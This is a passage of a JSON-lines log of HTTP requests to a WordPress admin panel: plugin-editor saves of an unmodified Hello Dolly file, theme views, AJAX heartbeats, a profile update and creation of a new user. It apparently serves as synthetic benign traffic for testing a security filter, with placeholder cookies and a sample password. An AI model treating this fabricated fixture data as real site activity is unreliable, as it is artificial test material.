wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342"], "body": "pointer=plugin_editor_notice&action=dismiss-wp-pointer"}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php&wp_scrape_key=8e954aa3fcf28d6a7f8071208fa1b507&wp_scrape_nonce=743587269", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP Cookie check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342", "Connection: close"], "body": ""}
{"method": "GET", "target": "/?wp_scrape_key=8e954aa3fcf28d6a7f8071208fa1b507&wp_scrape_nonce=743587269", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP Cookie check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342", "Connection: close"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 3611", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342"], "body": "nonce=ce99c3187f&_wp_http_referer=%2Fwp-admin%2Fplugin-editor.php%3Fplugin%3Dhello.php%26file%3Dhello.php&newcontent=%3C%3Fphp%0A%2F**%0A+*+%40package+Hello_Dolly%0A+*+%40version+1.7.2%0A+*%2F%0A%2F*%0APlugin+Name%3A+Hello+Dolly%0APlugin+URI%3A+http%3A%2F%2Fwordpress.org%2Fplugins%2Fhello-dolly%2F%0ADescription%3A+This+is+not+just+a+plugin%2C+it+symbolizes+the+hope+and+enthusiasm+of+an+entire+generation+summed+up+in+two+words+sung+most+famously+by+Louis+Armstrong%3A+Hello%2C+Dolly.+When+activated+you+will+randomly+see+a+lyric+from+%3Ccite%3EHello%2C+Dolly%3C%2Fcite%3E+in+the+upper+right+of+your+admin+screen+on+every+page.%0AAuthor%3A+Example+Author%0AVersion%3A+1.7.2%0AAuthor+URI%3A+http%3A%2F%2Fexample.com%2F%0AText+Domain%3A+hello-dolly%0A*%2F%0A%0A%2F%2F+Don't+load+directly.%0Aif+(+!+defined(+'ABSPATH'+)+)+%7B%0A%09exit%3B%0A%7D%0A%0Afunction+hello_dolly_get_lyric()+%7B%0A%09%2F**+These+are+the+lyrics+to+Hello+Dolly+*%2F%0A%09%24lyrics+%3D+%22Hello%2C+Dolly%0AWell%2C+hello%2C+Dolly%0AIt's+so+nice+to+have+you+back+where+you+belong%0AYou're+lookin'+swell%2C+Dolly%0AI+can+tell%2C+Dolly%0AYou're+still+glowin'%2C+you're+still+crowin'%0AYou're+still+goin'+strong%0AI+feel+the+room+swayin'%0AWhile+the+band's+playin'%0AOne+of+our+old+favorite+songs+from+way+back+when%0ASo%2C+take+her+wrap%2C+fellas%0ADolly%2C+never+go+away+again%0AHello%2C+Dolly%0AWell%2C+hello%2C+Dolly%0AIt's+so+nice+to+have+you+back+where+you+belong%0AYou're+lookin'+swell%2C+Dolly%0AI+can+tell%2C+Dolly%0AYou're+still+glowin'%2C+you're+still+crowin'%0AYou're+still+goin'+strong%0AI+feel+the+room+swayin'%0AWhile+the+band's+playin'%0AOne+of+our+old+favorite+songs+from+way+back+when%0ASo%2C+golly%2C+gee%2C+fellas%0AHave+a+little+faith+in+me%2C+fellas%0ADolly%2C+never+go+away%0APromise%2C+you'll+never+go+away%0ADolly'll+never+go+away+again%22%3B%0A%0A%09%2F%2F+Here+we+split+it+into+lines.%0A%09%24lyrics+%3D+explode(+%22%5Cn%22%2C+%24lyrics+)%3B%0A%0A%09%2F%2F+And+then+randomly+choose+a+line.%0A%09return+wptexturize(+%24lyrics%5B+mt_rand(+0%2C+count(+%24lyrics+)+-+1+)+%5D+)%3B%0A%7D%0A%0A%2F%2F+This+just+echoes+the+chosen+line%2C+we'll+position+it+later.%0Afunction+hello_dolly()+%7B%0A%09%24chosen+%3D+hello_dolly_get_lyric()%3B%0A%09%24lang+++%3D+''%3B%0A%09if+(+'en_'+!%3D%3D+substr(+get_user_locale()%2C+0%2C+3+)+)+%7B%0A%09%09%24lang+%3D+'+lang%3D%22en%22'%3B%0A%09%7D%0A%0A%09printf(%0A%09%09'%3Cp+id%3D%22dolly%22%3E%3Cspan+class%3D%22screen-reader-text%22%3E%25s+%3C%2Fspan%3E%3Cspan+dir%3D%22ltr%22%25s%3E%25s%3C%2Fspan%3E%3C%2Fp%3E'%2C%0A%09%09__(+'Quote+from+Hello+Dolly+song%2C+by+Jerry+Herman%3A'+)%2C%0A%09%09%24lang%2C%0A%09%09%24chosen%0A%09)%3B%0A%7D%0A%0A%2F%2F+Now+we+set+that+function+up+to+execute+when+the+admin_notices+action+is+called.%0Aadd_action(+'admin_notices'%2C+'hello_dolly'+)%3B%0A%0A%2F%2F+We+need+some+CSS+to+position+the+paragraph.%0Afunction+dolly_css()+%7B%0A%09echo+%22%0A%09%3Cstyle+type%3D'text%2Fcss'%3E%0A%09%23dolly+%7B%0A%09%09float%3A+right%3B%0A%09%09padding%3A+5px+10px%3B%0A%09%09margin%3A+0%3B%0A%09%09font-size%3A+12px%3B%0A%09%09line-height%3A+1.6666%3B%0A%09%7D%0A%09.rtl+%23dolly+%7B%0A%09%09float%3A+left%3B%0A%09%7D%0A%09.block-editor-page+%23dolly+%7B%0A%09%09display%3A+none%3B%0A%09%7D%0A%09%40media+screen+and+(max-width%3A+782px)+%7B%0A%09%09%23dolly%2C%0A%09%09.rtl+%23dolly+%7B%0A%09%09%09float%3A+none%3B%0A%09%09%09padding-left%3A+0%3B%0A%09%09%09padding-right%3A+0%3B%0A%09%09%7D%0A%09%7D%0A%09%3C%2Fstyle%3E%0A%09%22%3B%0A%7D%0A%0Aadd_action(+'admin_head'%2C+'dolly_css'+)%3B%0A&action=edit-theme-plugin-file&file=hello.php&plugin=hello.php&docs-list="}
{"method": "GET", "target": "/wp-admin/theme-editor.php?file=style.css&theme=twentytwentyfive", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?theme=twentytwentyfour", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203349"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fthemes.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203349"], "body": ""}
{"method": "GET", "target": "/?customize_changeset_uuid=3a1c1c1e-e2b2-47ca-a042-c99fe3ad52dd&customize_theme=twentytwentyfive&customize_messenger_channel=preview-0", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/customize.php?return=%2Fwp-admin%2Fthemes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203350"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 218", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "data%5Bwp-check-locked-posts%5D%5B%5D=post-13&data%5Bwp-check-locked-posts%5D%5B%5D=post-11&data%5Bwp-check-locked-posts%5D%5B%5D=post-1&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-post&has_focus=true"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 82", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "interval=60&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-post&has_focus=false"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 94", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=closed-postboxes&closed=dashboard_primary&hidden=&closedpostboxesnonce=0&page=dashboard"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 41", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=ajax-tag-search&tax=post_tag&q=bob"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 142", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=query-attachments&post_id=0&query%5Borderby%5D=date&query%5Border%5D=DESC&query%5Bposts_per_page%5D=80&query%5Bpaged%5D=1&_ajax_nonce=0"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 33", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=wp-compression-test&test=1"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 54", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=wp-link-ajax&search=hello&_ajax_linking_nonce=0"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 40", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=oembed-cache&post=1&_ajax_nonce=0"}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203360.3913509845733642578125", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 377", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "post_title=Bob's+quick+title&post_name=bobs-first-post-2&mm=11&jj=09&aa=2026&hh=05&mn=48&ss=08&post_author=1&post_password=&post_category%5B%5D=0&post_category%5B%5D=1&tax_input%5Bpost_tag%5D=&comment_status=open&ping_status=open&_status=publish&_inline_edit=80b31520db&post_view=list&screen=edit-post&action=inline-save&post_type=post&post_ID=13&edit_date=true&post_status=all"}
{"method": "POST", "target": "/wp-admin/profile.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 467", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/profile.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203362"], "body": "_wpnonce=931bec229d&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=1&color-nonce=1c207de10d&admin_color=modern&admin_bar_front=1&locale=site-default&user_login=editor1&first_name=Bob&last_name=&nickname=editor1&display_name=editor1&email=editor1%40example.com&url=http%3A%2F%2Fblog.example&description=I+write+about+%2Fetc%2F+and+%3Cem%3Ecats%3C%2Fem%3E.&pass1=&pass2=&new_application_password_name=&action=update&user_id=1&submit=Update+Profile"}
{"method": "GET", "target": "/wp-admin/profile.php?updated=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/profile.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203362"], "body": ""}
{"method": "POST", "target": "/wp-admin/user-new.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 293", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/user-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203364"], "body": "action=createuser&_wpnonce_create-user=0a10e6c68f&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=author2&email=author2%40example.com&first_name=&last_name=&url=&pass1=Pw-for-author2-is-long%21&pass2=Pw-for-author2-is-long%21&send_user_notification=1&role=subscriber&createuser=Add+User"}
{"method": "GET", "target": "/wp-admin/users.php?update=add&id=2", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/user-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203364"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 79", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203365"], "body": "_ajax_nonce=575b959a1d&action=dim-comment&id=2&dimClass=unapproved&new=approved"}
